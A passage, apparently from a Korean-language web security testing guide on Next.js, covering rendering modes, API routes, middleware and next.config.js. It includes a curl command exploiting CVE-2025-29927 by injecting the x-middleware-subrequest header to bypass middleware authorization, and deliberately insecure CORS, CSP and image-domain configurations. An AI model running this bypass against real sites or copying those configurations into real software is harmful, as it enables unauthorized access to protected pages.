  • ๋ฐœ๊ฒฌ๋œ ๊ฒฝ๋กœ(์˜ˆ: /docs, /docs/content/examples, /signin)๋ฅผ ์‚ฌ์šฉํ•ด ์ธ์ฆ ํ…Œ์ŠคํŠธ์™€ ์—”๋“œํฌ์ธํŠธ ํƒ์ƒ‰์„ ์ง„ํ–‰ํ•˜์„ธ์š”.

Next.js์˜ ์„œ๋ฒ„ ์‚ฌ์ด๋“œ

์„œ๋ฒ„ ์‚ฌ์ด๋“œ ๋ Œ๋”๋ง (SSR)

ํŽ˜์ด์ง€๋Š” ๊ฐ ์š”์ฒญ๋งˆ๋‹ค ์„œ๋ฒ„์—์„œ ๋ Œ๋”๋ง๋˜์–ด ์‚ฌ์šฉ์ž๊ฐ€ ์™„์ „ํžˆ ๋ Œ๋”๋œ HTML์„ ๋ฐ›๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด ์ž์ฒด ์ปค์Šคํ…€ ์„œ๋ฒ„๋ฅผ ๋งŒ๋“ค์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ ์‚ฌ๋ก€:

  • ์ž์ฃผ ๋ณ€๊ฒฝ๋˜๋Š” ๋™์  ์ฝ˜ํ…์ธ .
  • ๊ฒ€์ƒ‰ ์—”์ง„์ด ์™„์ „ํžˆ ๋ Œ๋”๋œ ํŽ˜์ด์ง€๋ฅผ ํฌ๋กค๋งํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ SEO ์ตœ์ ํ™”์— ์ ํ•ฉํ•ฉ๋‹ˆ๋‹ค.

๊ตฌํ˜„:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

์ •์  ์‚ฌ์ดํŠธ ์ƒ์„ฑ (SSG)

ํŽ˜์ด์ง€๊ฐ€ ๋นŒ๋“œ ์‹œ์ ์— ๋ฏธ๋ฆฌ ๋ Œ๋”๋ง๋˜์–ด ๋กœ๋“œ ์‹œ๊ฐ„์ด ๋นจ๋ผ์ง€๊ณ  ์„œ๋ฒ„ ๋ถ€ํ•˜๊ฐ€ ๊ฐ์†Œํ•ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ ์‚ฌ๋ก€:

  • ์ž์ฃผ ๋ณ€๊ฒฝ๋˜์ง€ ์•Š๋Š” ์ฝ˜ํ…์ธ .
  • ๋ธ”๋กœ๊ทธ, ๋ฌธ์„œ, ๋งˆ์ผ€ํŒ… ํŽ˜์ด์ง€.

๊ตฌํ˜„:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

์„œ๋ฒ„๋ฆฌ์Šค ํ•จ์ˆ˜ (API Routes)

Next.js์—์„œ๋Š” API ์—”๋“œํฌ์ธํŠธ๋ฅผ ์„œ๋ฒ„๋ฆฌ์Šค ํ•จ์ˆ˜๋กœ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํ•จ์ˆ˜๋Š” ์ „์šฉ ์„œ๋ฒ„๊ฐ€ ํ•„์š” ์—†์ด ์˜จ๋””๋งจ๋“œ๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ ์‚ฌ๋ก€:

  • ํผ ์ œ์ถœ ์ฒ˜๋ฆฌ.
  • ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์™€ ์ƒํ˜ธ์ž‘์šฉ.
  • ๋ฐ์ดํ„ฐ ์ฒ˜๋ฆฌ ๋˜๋Š” ์„œ๋“œํŒŒํ‹ฐ API ํ†ตํ•ฉ.

๊ตฌํ˜„:

Next.js 13์—์„œ app ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ๋„์ž…๋˜๋ฉด์„œ ๋ผ์šฐํŒ…๊ณผ API ์ฒ˜๋ฆฌ๊ฐ€ ๋” ์œ ์—ฐํ•˜๊ณ  ๊ฐ•๋ ฅํ•ด์กŒ์Šต๋‹ˆ๋‹ค. ์ด ํ˜„๋Œ€์ ์ธ ์ ‘๊ทผ ๋ฐฉ์‹์€ ํŒŒ์ผ ๊ธฐ๋ฐ˜ ๋ผ์šฐํŒ… ์‹œ์Šคํ…œ๊ณผ ๋ฐ€์ ‘ํ•˜๊ฒŒ ์—ฐ๋™๋˜๋ฉฐ, ์„œ๋ฒ„ ๋ฐ ํด๋ผ์ด์–ธํŠธ ์ปดํฌ๋„ŒํŠธ ์ง€์›์„ ํฌํ•จํ•œ ํ–ฅ์ƒ๋œ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

๊ธฐ๋ณธ ๋ผ์šฐํŠธ ํ•ธ๋“ค๋Ÿฌ

ํŒŒ์ผ ๊ตฌ์กฐ:

my-nextjs-app/
โ”œโ”€โ”€ app/
โ”‚   โ””โ”€โ”€ api/
โ”‚       โ””โ”€โ”€ hello/
โ”‚           โ””โ”€โ”€ route.js
โ”œโ”€โ”€ package.json
โ””โ”€โ”€ ...

๊ตฌํ˜„:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

์„ค๋ช…:

  • ์œ„์น˜: API ๋ผ์šฐํŠธ๋Š” app/api/ ๋””๋ ‰ํ† ๋ฆฌ์— ๋ฐฐ์น˜๋ฉ๋‹ˆ๋‹ค.
  • ํŒŒ์ผ๋ช…: ๊ฐ API ์—”๋“œํฌ์ธํŠธ๋Š” route.js ๋˜๋Š” route.ts ํŒŒ์ผ์„ ํฌํ•จํ•˜๋Š” ์ž์ฒด ํด๋”์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค.
  • ๋‚ด๋ณด๋‚ธ ํ•จ์ˆ˜: ๋‹จ์ผ ๊ธฐ๋ณธ export ๋Œ€์‹  ํŠน์ • HTTP ๋ฉ”์„œ๋“œ ํ•จ์ˆ˜(์˜ˆ: GET, POST)๋ฅผ ๋‚ด๋ณด๋ƒ…๋‹ˆ๋‹ค.
  • ์‘๋‹ต ์ฒ˜๋ฆฌ: Response ์ƒ์„ฑ์ž๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‘๋‹ต์„ ๋ฐ˜ํ™˜ํ•˜๋ฉด ํ—ค๋”์™€ ์ƒํƒœ ์ฝ”๋“œ๋ฅผ ๋” ์„ธ๋ฐ€ํ•˜๊ฒŒ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‹ค๋ฅธ ๊ฒฝ๋กœ์™€ ๋ฉ”์„œ๋“œ ์ฒ˜๋ฆฌ ๋ฐฉ๋ฒ•:

ํŠน์ • HTTP ๋ฉ”์„œ๋“œ ์ฒ˜๋ฆฌ

Next.js 13+์—์„œ๋Š” ๋™์ผํ•œ route.js ๋˜๋Š” route.ts ํŒŒ์ผ ๋‚ด์—์„œ ํŠน์ • HTTP ๋ฉ”์„œ๋“œ์— ๋Œ€ํ•œ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์ •์˜ํ•  ์ˆ˜ ์žˆ์–ด ์ฝ”๋“œ๊ฐ€ ๋” ๋ช…ํ™•ํ•˜๊ณ  ์กฐ์ง์ ์œผ๋กœ ๋ฉ๋‹ˆ๋‹ค.

์˜ˆ์ œ:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

์„ค๋ช…:

  • ๋‹ค์ค‘ Export: ๊ฐ HTTP ๋ฉ”์„œ๋“œ (GET, PUT, DELETE)๋Š” ๊ณ ์œ ํ•œ export๋œ ํ•จ์ˆ˜๋ฅผ ๊ฐ€์ง‘๋‹ˆ๋‹ค.
  • ๋งค๊ฐœ๋ณ€์ˆ˜: ๋‘ ๋ฒˆ์งธ ์ธ์ˆ˜๋Š” params๋ฅผ ํ†ตํ•ด ๋ผ์šฐํŠธ ๋งค๊ฐœ๋ณ€์ˆ˜์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • ํ–ฅ์ƒ๋œ ์‘๋‹ต: ์‘๋‹ต ๊ฐ์ฒด์— ๋Œ€ํ•œ ๋” ํฐ ์ œ์–ด๋ฅผ ํ†ตํ•ด ํ—ค๋”์™€ ์ƒํƒœ ์ฝ”๋“œ๋ฅผ ์ •ํ™•ํ•˜๊ฒŒ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
Catch-All ๋ฐ ์ค‘์ฒฉ ๋ผ์šฐํŠธ

Next.js 13+๋Š” catch-all ๋ผ์šฐํŠธ ๋ฐ ์ค‘์ฒฉ API ๋ผ์šฐํŠธ์™€ ๊ฐ™์€ ๊ณ ๊ธ‰ ๋ผ์šฐํŒ… ๊ธฐ๋Šฅ์„ ์ง€์›ํ•˜์—ฌ ๋ณด๋‹ค ๋™์ ์ด๊ณ  ํ™•์žฅ ๊ฐ€๋Šฅํ•œ API ๊ตฌ์กฐ๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

Catch-All ๋ผ์šฐํŠธ ์˜ˆ์‹œ:

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

์„ค๋ช…:

  • ๊ตฌ๋ฌธ: [...]๋Š” ๋ชจ๋“  ์ค‘์ฒฉ๋œ ๊ฒฝ๋กœ๋ฅผ ํฌ๊ด„ํ•˜๋Š” ์บ์น˜์˜ฌ ์„ธ๊ทธ๋จผํŠธ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  • ์‚ฌ์šฉ: ๋‹ค์–‘ํ•œ ๊ฒฝ๋กœ ๊นŠ์ด๋‚˜ ๋™์  ์„ธ๊ทธ๋จผํŠธ๋ฅผ ์ฒ˜๋ฆฌํ•ด์•ผ ํ•˜๋Š” API์— ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

์ค‘์ฒฉ ๋ผ์šฐํŠธ ์˜ˆ์‹œ:

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

์„ค๋ช…:

  • Deep Nesting: ๊ณ„์ธต์  API ๊ตฌ์กฐ๋ฅผ ํ—ˆ์šฉํ•˜์—ฌ ๋ฆฌ์†Œ์Šค ๊ด€๊ณ„๋ฅผ ๋ฐ˜์˜ํ•ฉ๋‹ˆ๋‹ค.
  • Parameter Access: params ๊ฐ์ฒด๋ฅผ ํ†ตํ•ด ์—ฌ๋Ÿฌ ๋ผ์šฐํŠธ ๋งค๊ฐœ๋ณ€์ˆ˜์— ์‰ฝ๊ฒŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
Next.js 12 ๋ฐ ์ด์ „ ๋ฒ„์ „์—์„œ API routes ์ฒ˜๋ฆฌ

pages ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ API routes (Next.js 12 ๋ฐ ์ด์ „ ๋ฒ„์ „)

Next.js 13์ด app ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ๋„์ž…ํ•˜๊ณ  ๋ผ์šฐํŒ… ๊ธฐ๋Šฅ์„ ํ™•์žฅํ•˜๊ธฐ ์ „์—๋Š”, API routes๋Š” ์ฃผ๋กœ pages ๋””๋ ‰ํ„ฐ๋ฆฌ ๋‚ด์—์„œ ์ •์˜๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ์‹์€ Next.js 12 ๋ฐ ์ด์ „ ๋ฒ„์ „์—์„œ๋„ ์—ฌ์ „ํžˆ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๊ณ  ์ง€์›๋ฉ๋‹ˆ๋‹ค.

๊ธฐ๋ณธ API Route

ํŒŒ์ผ ๊ตฌ์กฐ:

goCopy codemy-nextjs-app/
โ”œโ”€โ”€ pages/
โ”‚   โ””โ”€โ”€ api/
โ”‚       โ””โ”€โ”€ hello.js
โ”œโ”€โ”€ package.json
โ””โ”€โ”€ ...

๊ตฌํ˜„:

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

์„ค๋ช…:

  • ์œ„์น˜: API routes๋Š” pages/api/ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค.
  • ๋‚ด๋ณด๋‚ด๊ธฐ: export default๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ•ธ๋“ค๋Ÿฌ ํ•จ์ˆ˜๋ฅผ ์ •์˜ํ•ฉ๋‹ˆ๋‹ค.
  • ํ•จ์ˆ˜ ์‹œ๊ทธ๋‹ˆ์ฒ˜: ํ•ธ๋“ค๋Ÿฌ๋Š” req (HTTP request) ๋ฐ res (HTTP response) ๊ฐ์ฒด๋ฅผ ๋ฐ›์Šต๋‹ˆ๋‹ค.
  • ๋ผ์šฐํŒ…: ํŒŒ์ผ ์ด๋ฆ„ (hello.js)์€ ์—”๋“œํฌ์ธํŠธ /api/hello์— ๋งคํ•‘๋ฉ๋‹ˆ๋‹ค.

๋™์  API ๋ผ์šฐํŠธ

ํŒŒ์ผ ๊ตฌ์กฐ:

bashCopy codemy-nextjs-app/
โ”œโ”€โ”€ pages/
โ”‚   โ””โ”€โ”€ api/
โ”‚       โ””โ”€โ”€ users/
โ”‚           โ””โ”€โ”€ [id].js
โ”œโ”€โ”€ package.json
โ””โ”€โ”€ ...

๊ตฌํ˜„:

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

์„ค๋ช…:

  • Dynamic Segments: Square brackets ([id].js) denote dynamic route segments.
  • Accessing Parameters: Use req.query.id to access the dynamic parameter.
  • Handling Methods: Utilize conditional logic to handle different HTTP methods (GET, PUT, DELETE, etc.).

๋‹ค์–‘ํ•œ HTTP ๋ฉ”์„œ๋“œ ์ฒ˜๋ฆฌ

๊ธฐ๋ณธ API ๋ผ์šฐํŠธ ์˜ˆ์ œ๋Š” ๋‹จ์ผ ํ•จ์ˆ˜ ์•ˆ์—์„œ ๋ชจ๋“  HTTP ๋ฉ”์„œ๋“œ๋ฅผ ์ฒ˜๋ฆฌํ•˜์ง€๋งŒ, ๋” ๋ช…ํ™•ํ•˜๊ณ  ์œ ์ง€๋ณด์ˆ˜ํ•˜๊ธฐ ์‰ฝ๋„๋ก ๊ฐ ๋ฉ”์„œ๋“œ๋ฅผ ๋ช…์‹œ์ ์œผ๋กœ ์ฒ˜๋ฆฌํ•˜๋„๋ก ์ฝ”๋“œ๋ฅผ ๊ตฌ์กฐํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ์‹œ:

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

๋ชจ๋ฒ” ์‚ฌ๋ก€:

  • Separation of Concerns: ์„œ๋กœ ๋‹ค๋ฅธ HTTP ๋ฉ”์„œ๋“œ์˜ ๋กœ์ง์„ ๋ช…ํ™•ํžˆ ๋ถ„๋ฆฌํ•˜์„ธ์š”.
  • Response Consistency: ํด๋ผ์ด์–ธํŠธ ์ธก ์ฒ˜๋ฆฌ๋ฅผ ์šฉ์ดํ•˜๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•ด ์‘๋‹ต ๊ตฌ์กฐ๋ฅผ ์ผ๊ด€๋˜๊ฒŒ ์œ ์ง€ํ•˜์„ธ์š”.
  • Error Handling: ์ง€์›๋˜์ง€ ์•Š๋Š” ๋ฉ”์„œ๋“œ์™€ ์˜ˆ๊ธฐ์น˜ ์•Š์€ ์˜ค๋ฅ˜๋ฅผ ์šฐ์•„ํ•˜๊ฒŒ ์ฒ˜๋ฆฌํ•˜์„ธ์š”.

CORS ์„ค์ •

์–ด๋–ค ์ถœ์ฒ˜(origin)๊ฐ€ API ๋ผ์šฐํŠธ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์ œ์–ดํ•˜์—ฌ Cross-Origin Resource Sharing (CORS) ์ทจ์•ฝ์ ์„ ์™„ํ™”ํ•˜์„ธ์š”.

์ž˜๋ชป๋œ ๊ตฌ์„ฑ ์˜ˆ์‹œ:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

์ฐธ๊ณ ๋กœ CORS๋Š” ๋ชจ๋“  API routes์—์„œ ๊ตฌ์„ฑํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค middleware.ts ํŒŒ์ผ ์•ˆ์—์„œ:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

๋ฌธ์ œ:

  • Access-Control-Allow-Origin: '*': ๋ชจ๋“  ์›น์‚ฌ์ดํŠธ๊ฐ€ API์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ—ˆ์šฉ๋˜์–ด, ์•…์˜์ ์ธ ์‚ฌ์ดํŠธ๊ฐ€ ์ œํ•œ ์—†์ด API์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค.
  • Wide Method Allowance: ๋ชจ๋“  ๋ฉ”์„œ๋“œ๋ฅผ ํ—ˆ์šฉํ•˜๋ฉด ๊ณต๊ฒฉ์ž๊ฐ€ ์›์น˜ ์•Š๋Š” ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•:

๊ณต๊ฒฉ์ž๋Š” ์•…์„ฑ ์›น์‚ฌ์ดํŠธ๋ฅผ ๋งŒ๋“ค์–ด API์— ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ , ๋ฐ์ดํ„ฐ ์กฐํšŒ, ๋ฐ์ดํ„ฐ ์กฐ์ž‘ ๋˜๋Š” ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž๋ฅผ ๋Œ€์‹ ํ•ด ์›์น˜ ์•Š๋Š” ๋™์ž‘์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๋Š” ๋“ฑ ๊ธฐ๋Šฅ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CORS - Misconfigurations & Bypass

ํด๋ผ์ด์–ธํŠธ ์ธก์—์„œ์˜ ์„œ๋ฒ„ ์ฝ”๋“œ ๋…ธ์ถœ

์„œ๋ฒ„์—์„œ ์‚ฌ์šฉ๋˜๋Š” ์ฝ”๋“œ๋ฅผ ํด๋ผ์ด์–ธํŠธ ์ธก์— ๋…ธ์ถœ๋˜์–ด ์‚ฌ์šฉ๋˜๋Š” ์ฝ”๋“œ์—์„œ๋„ ์‰ฝ๊ฒŒ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค, ํŒŒ์ผ์ด ํด๋ผ์ด์–ธํŠธ ์ธก์— ์ ˆ๋Œ€ ๋…ธ์ถœ๋˜์ง€ ์•Š๋„๋ก ๋ณด์žฅํ•˜๋Š” ๊ฐ€์žฅ ์ข‹์€ ๋ฐฉ๋ฒ•์€ ํŒŒ์ผ ๋งจ ์•ž์—์„œ ๋‹ค์Œ import๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค:

import "server-only"

์ฃผ์š” ํŒŒ์ผ ๋ฐ ์—ญํ• 

middleware.ts / middleware.js

์œ„์น˜: ํ”„๋กœ์ ํŠธ ๋ฃจํŠธ ๋˜๋Š” src/ ๋‚ด.

๋ชฉ์ : ์š”์ฒญ์ด ์ฒ˜๋ฆฌ๋˜๊ธฐ ์ „์— ์„œ๋ฒ„ ์ธก serverless ํ•จ์ˆ˜์—์„œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ์ธ์ฆ, ๋ฆฌ๋””๋ ‰์…˜ ๋˜๋Š” ์‘๋‹ต ์ˆ˜์ •๊ณผ ๊ฐ™์€ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์‹คํ–‰ ํ๋ฆ„:

  1. ์ˆ˜์‹  ์š”์ฒญ: ๋ฏธ๋“ค์›จ์–ด๊ฐ€ ์š”์ฒญ์„ ๊ฐ€๋กœ์ฑ•๋‹ˆ๋‹ค.
  2. ์ฒ˜๋ฆฌ: ์š”์ฒญ์— ๋”ฐ๋ผ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: ์ธ์ฆ ํ™•์ธ).
  3. ์‘๋‹ต ์ˆ˜์ •: ์‘๋‹ต์„ ๋ณ€๊ฒฝํ•˜๊ฑฐ๋‚˜ ๋‹ค์Œ ํ•ธ๋“ค๋Ÿฌ๋กœ ์ œ์–ด๋ฅผ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ์‹œ ์‚ฌ์šฉ ์‚ฌ๋ก€:

  • ์ธ์ฆ๋˜์ง€ ์•Š์€ ์‚ฌ์šฉ์ž ๋ฆฌ๋””๋ ‰์…˜.
  • ์ปค์Šคํ…€ ํ—ค๋” ์ถ”๊ฐ€.
  • ์š”์ฒญ ๋กœ๊น….

์ƒ˜ํ”Œ ๊ตฌ์„ฑ:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

If authorization is enforced in middleware, affected Next.js releases (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) can be bypassed by injecting the x-middleware-subrequest header. The framework will skip middleware recursion and return the protected page.

  • Baseline behavior is typically a 307 redirect to a login route like /api/auth/signin.
  • Send a long x-middleware-subrequest value (repeat middleware to hit MAX_RECURSION_DEPTH) to flip the response to 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
  • ์ธ์ฆ๋œ ํŽ˜์ด์ง€๋Š” ๋งŽ์€ ์„œ๋ธŒ๋ฆฌ์†Œ์Šค๋ฅผ ๋กœ๋“œํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ์ž์‚ฐ์ด ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๋ ค๋ฉด ๋ชจ๋“  ์š”์ฒญ์— ํ•ด๋‹น ํ—ค๋”๋ฅผ ์ถ”๊ฐ€ํ•˜์„ธ์š” (์˜ˆ: Burp Match/Replace with an empty match string) .

next.config.js

Location: ํ”„๋กœ์ ํŠธ ๋ฃจํŠธ.

Purpose: Next.js ๋™์ž‘์„ ๊ตฌ์„ฑํ•˜๋ฉฐ, ๊ธฐ๋Šฅ ํ™œ์„ฑํ™”/๋น„ํ™œ์„ฑํ™”, webpack ๊ตฌ์„ฑ ์ปค์Šคํ„ฐ๋งˆ์ด์ง•, ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ์„ค์ • ๋ฐ ์—ฌ๋Ÿฌ ๋ณด์•ˆ ๊ธฐ๋Šฅ ๊ตฌ์„ฑ์„ ๋‹ด๋‹นํ•ฉ๋‹ˆ๋‹ค.

Key Security Configurations:

๋ณด์•ˆ ํ—ค๋”

๋ณด์•ˆ ํ—ค๋”๋Š” ๋ธŒ๋ผ์šฐ์ €์— ์ฝ˜ํ…์ธ  ์ฒ˜๋ฆฌ ๋ฐฉ๋ฒ•์„ ์ง€์‹œํ•˜์—ฌ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ณด์•ˆ์„ ๊ฐ•ํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” Cross-Site Scripting (XSS), Clickjacking, MIME type sniffing๊ณผ ๊ฐ™์€ ๋‹ค์–‘ํ•œ ๊ณต๊ฒฉ์„ ์™„ํ™”ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค:

  • Content Security Policy (CSP)
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Referrer Policy

์˜ˆ์‹œ:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
์ด๋ฏธ์ง€ ์ตœ์ ํ™” ์„ค์ •

Next.js๋Š” ์„ฑ๋Šฅ์„ ์œ„ํ•ด ์ด๋ฏธ์ง€๋ฅผ ์ตœ์ ํ™”ํ•˜์ง€๋งŒ, ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์€ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์†Œ์Šค๊ฐ€ ์•…์„ฑ ์ฝ˜ํ…์ธ ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋Š” ๋“ฑ์˜ ๋ณด์•ˆ ์ทจ์•ฝ์ ์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž˜๋ชป๋œ ๊ตฌ์„ฑ ์˜ˆ์‹œ:

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

Problem:

